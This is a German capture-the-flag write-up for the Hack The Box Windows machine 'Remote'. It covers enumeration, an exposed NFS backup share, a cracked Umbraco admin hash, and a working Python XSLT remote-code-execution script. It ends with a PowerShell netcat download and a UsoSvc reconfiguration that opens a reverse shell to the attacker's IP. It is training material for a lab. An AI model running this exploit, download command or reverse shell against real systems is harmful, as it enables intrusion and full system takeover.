Remote (Hack The Box) — Write-up

This post is also available in:
English

Remote ist eine Windows-Maschine, die sich verhältnismäßig straight-forward exploiten lässt. Es sind dabei keine allzu großen Enumerationen oder gezieltes Raten notwendig. Größtenteils geht es darum, die richtigen CVEs zu finden und einen funktionierenden Exploit zu bauen. In folgendem Write-Up erklär ich, wie wir uns über eine einfache Remote Command Execution in einer Webanwendung bis hin zu SYSTEM Berechtigungen hangeln, ohne jemals Active Directory Zugangsdaten zu verwenden.
Basic Enumeration
Zuerst führen wir wie immer einen nmap
-Scan durch, um die laufenden Services und offenen Ports zu identifizieren
nmap -sC -sV -v -p- -oN nmap.txt 10.10.10.180
-sC
– Default Script Scan-sV
– Service/Version Scan-v
– Verbose (um bereits während des laufenden Scans offene Ports zu sehen)-p-
– Äquivalent zu -p1-65535
(Scan alle möglichen Ports)-oN
– Output speichern im Text-File nmap.txt
Nmap – Output
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 2m29s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-11T16:56:47
|_ start_date: N/A
Dabei sticht uns zum einen sofort die Webanwendung auf Port 80
sowie die rpc
Informationen über einen NFS
Service ins Auge.
Wer bereits einige andere Windows-Maschinen erfolgreich gemeistert hat, dem wird auch Port 5985
direkt auffallen. In der Vergangenheit lies sich darüber oftmals mit Evil-WinRM
und validen AD-Zugangsdaten eine Remote Shell ausführen (wie sich im weiteren Verlauf zeigt, ist der Service in diesem Fall aber nicht von Relevanz).
Port 80 – HTTP
Bei der Webanwendung unter http://10.10.10.180/ handelt es sich um die Homepage der Firma ACME (geläufiger Name für ein fiktives Unternehmen).

Die Seiteninhalte sind quasi alle uninteressant und lediglich Dummy-Texte. Auf der Unterseite /contact
finden wir aber letztendlich folgende Fehlermeldung:

Dadurch wissen wir, dass für den Betrieb der Anwendung Umbraco als CMS eingesetzt wird. Die Login-Seite für das Admin-Interface finden wir standardmäßig unter /umbraco/#/login
.

Die Eingabe von Standardzugangsdaten (admin:admin
, admin:password
…) führt aber zu keinem schnellen Ergebnis.
Eine Suche mit searchsploit
ergibt, dass für das CMS zwei interessante Exploits verfügbar sind, mit denen wir eventuell Remote Code Execution (RCE) erlangen können.

Bei dem Metasploit Modul handelt es sich um einen Exploit für die recht alte Umbraco Version 4.7.0.378 aus dem Jahr 2012. Wie zu erwarten war, wird auf dem Zielsystem (wahrscheinlich) eine neuere Version eingesetzt und die Payload kann nicht erfolgreich ausgeführt werden.

Der zweite verfügbare Exploit (Umbraco CMS 7.12.4 – (Authenticated) Remote Code Execution) erfordert zuerst eine authentifizierte Session. Da uns aktuell keine Benutzerdaten bekannt sind, sind wir hier mit unserer Suche erstmal ans Ende angelangt. Weiter gehts mit dem nächsten Service.
NFS Misconfiguration
Um zu testen, welche NFS Shares mit welchen Berechtigungen exportiert werden verwenden wir den Befehl showmount -e <target>
:

Wie in der Ausgabe zu sehen ist, kann jeder auf das Verzeichnis /site_backups
ohne die Angabe von Benutzerdaten zugreifen. Als nächstes mounten wir also das Backup-Verzeichnis auf unserem System:
mount -t nfs 10.10.10.180:/site_backups ~/HTB/remote/mnt -o nolock
An dieser Stelle bin ich tief ins Rabbit Hole eingetaucht und habe viel zu viel Zeit mit der Suche nach Informationen in Log-Dateien verbracht. Zumindest konnte ich dadurch die zwei Benutzerkonten und
ausfindig machen:
2020-02-20 00:12:13,455 [P4408/D19/T40] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt succeeded for username from IP address 192.168.195.1
2020-02-20 00:28:28,366 [P4408/D20/T6] INFO Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: Login attempt failed for username from IP address 192.168.195.1
Letztendlich konnte ich jedoch ein Backup der Umbraco-Datenbank unter /site_backups/App_Data/Umbraco.sdf
finden. Nach ein paar erfolglosen Versuchen, die SDF-Datei in eine leicht auszulesende CSV-Datei zu konvertieren, hab ich irgendwann aufgegeben und die Datenbank mit einem Texteditor durchsucht.
In dem Durcheinander von nicht-darstellbaren Bytes können wir den SHA-1 Hash des Administrator-Passworts finden:

Wir könnten jetzt versuchen, den Hash b8be16afba8c314ad33d812f22a04991b90e2aaa
selbst zu knacken, schneller geht es aber über eine der zahlreichen Online-Datenbanken, die bereits eine Vielzahl von Reverse Lookups anbieten.
Mit dem Benutzernamen und dem Passwort
baconandcheese
können wir uns nun in das Ubramco Admin-Interface unter http://10.10.10.180/umbraco/#/login
einloggen. Hier sehen wir, dass tatsächlich die verwundbare Version 7.12.4 eingesetzt wird.

Getting User Privileges
Das bereits vorher erwähnte Exploit-Skript für die (Authenticated) Remote Code Execution ist lediglich ein PoC, welches sich mit den angegebenen Benutzerdaten anmeldet und anschließend einen Taschenrechner (calc.exe
) auf dem Zielsystem öffnet. Auf dieser Grundlage habe ich jetzt nachfolgendes Python-Skript geschrieben, welches mir eine halbwegs sinnvolle Remote Shell ermöglicht:
rce.py
import requests
from bs4 import BeautifulSoup
import re
from cmd import Cmd
login = ""
password="baconandcheese"
host = "http://10.10.10.180"
# Step 1 - Get Main page
print("[*] Stage 1: Init Session")
s = requests.session()
url_main =host+"/umbraco/"
r1 = s.get(url_main)
# Step 2 - Process Login
print("[*] Stage 2: Login")
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
loginfo = {"username":login,"password":password}
r2 = s.post(url_login,json=loginfo)
class Terminal(Cmd):
prompt = "$basto.digital> "
def default(self, args):
RunCmd(args)
def RunCmd(cmd):
# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx"
r3 = s.get(url_xslt)
soup = BeautifulSoup(r3.text, 'html.parser')
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN}
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "'+ cmd.replace("\\", "\\\\").replace("'", "\\'").replace('"', '\\"') +'"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> '
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"}
# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers)
page = r4.text
m = re.search(r'<div id=\"result\"><\?xml version=\"1.0" encoding=\"utf-16\"\?>(.*)</Div>', page, re.DOTALL)
if m:
print(m.group(1))
else:
print("[-] Error")
print(payload)
term = Terminal()
term.cmdloop()

Die Flagge user.txt
des Benutzers finden wir letztendlich im Ordner C:\Users\Public
:

Escalating to SYSTEM
Nachdem wir es geschafft haben, einfache Benutzerberechtigungen auf dem System zu erlangen, ist der nächste Schritt, diese zu administrativen Berechtigungen auszuweiten. Um die Suche nach möglichen Ansatzpunkten zu automatisieren, verwenden wir die Windows Privilege Escalation Awesome Script Suite, kurz winPEAS.
Auf unsrem Kali-System starten wir mit sudo python -m SimpleHTTPServer 80
einen Python HTTP-Server, um die EXE-Datei zum Download bereitzustellen. Mittels PowerShell können wir dann winPEAS.exe
in ein Verzeichnis, in welchem wir Schreibrechte besitzen, zum Beispiel C:\Users\Public\Downloads
, herunterladen.

Der Output von winPEAS lässt sich leider nicht ohne weiteres über die Umbraco Python Shell ausgeben, da das Skript zu lange für die Ausführung benötigt und der HTTP-Request vorher in einen Timeout läuft. Wir könnten den Moment nutzen, um uns eine anständige Remote Shell einzurichten. Glücklicherweise steht uns aber auch ein leicht zugängliches NFS Share für den Datenaustausch bereit, welches direkt auf unsrem System gemountet ist. Der Einfachheit halber speichern wir den Output also einfach im /site_backups
Verzeichnis.
/Users/Public/Downloads/winpeas.exe > /site_backups/winpeas.txt
WinPEAS weißt uns als erstes daraufhin, dass die eingesetzte Windows-Version 17763 verwundbar für mehrere Schwachstellen ist:

Darunter sind auch einige Privilege-Escalation-Lücke, mit denen wir theoretisch SYSTEM-Berechtigungen erlangen könnten. Jedoch ist dafür eine grafische Benutzeroberfläche erforderlich, da dies über das Menü des Internet Explorers passieren müsste.
Etwas weiter unten finden wir aber dann den Hinweis, dass wir den Service UsoSvc
bearbeiten und auch neustarten können.

Im Windows Privilege Escalation Guide von PayloadAllTheThings finden sich dazu einige Beispiele, wie die Konfiguration des Service so angepasst werden kann, dass damit eine Remote Shell mittels netcat
aufgebaut werden kann (CVE-2019-1322).
Zuerst laden wir uns dafür eine portable Version von netcat
von unsrem System auf das Zielsystem:
(new-object System.Net.WebClient).DownloadFile('http://10.10.16.122/nc.exe','C:\Users\Public\Downloads\nc.exe')
Anschließend passen wir die Konfiguration von UsoSvc
so an, dass beim Start des Service mittels nc.exe
eine Verbindung zu unsrem System hergestellt wird:
sc.exe config UsoSvc binpath="cmd /c C:\Users\Public\Downloads\nc.exe 10.10.16.122 4444 -e cmd.exe"
[SC] ChangeServiceConfig SUCCESS
Abschließend stoppen wir UsoSvc
und starten diesen erneut, um unsre angepasste Konfiguration einzulesen und die Remote Verbindung herzustellen.


Damit haben wir ab jetzt die volle Kontrolle über die Maschine und können uns zu guter Letzt noch die Root-Flagge unter C:\Users\Administrator\root.txt
auslesen:


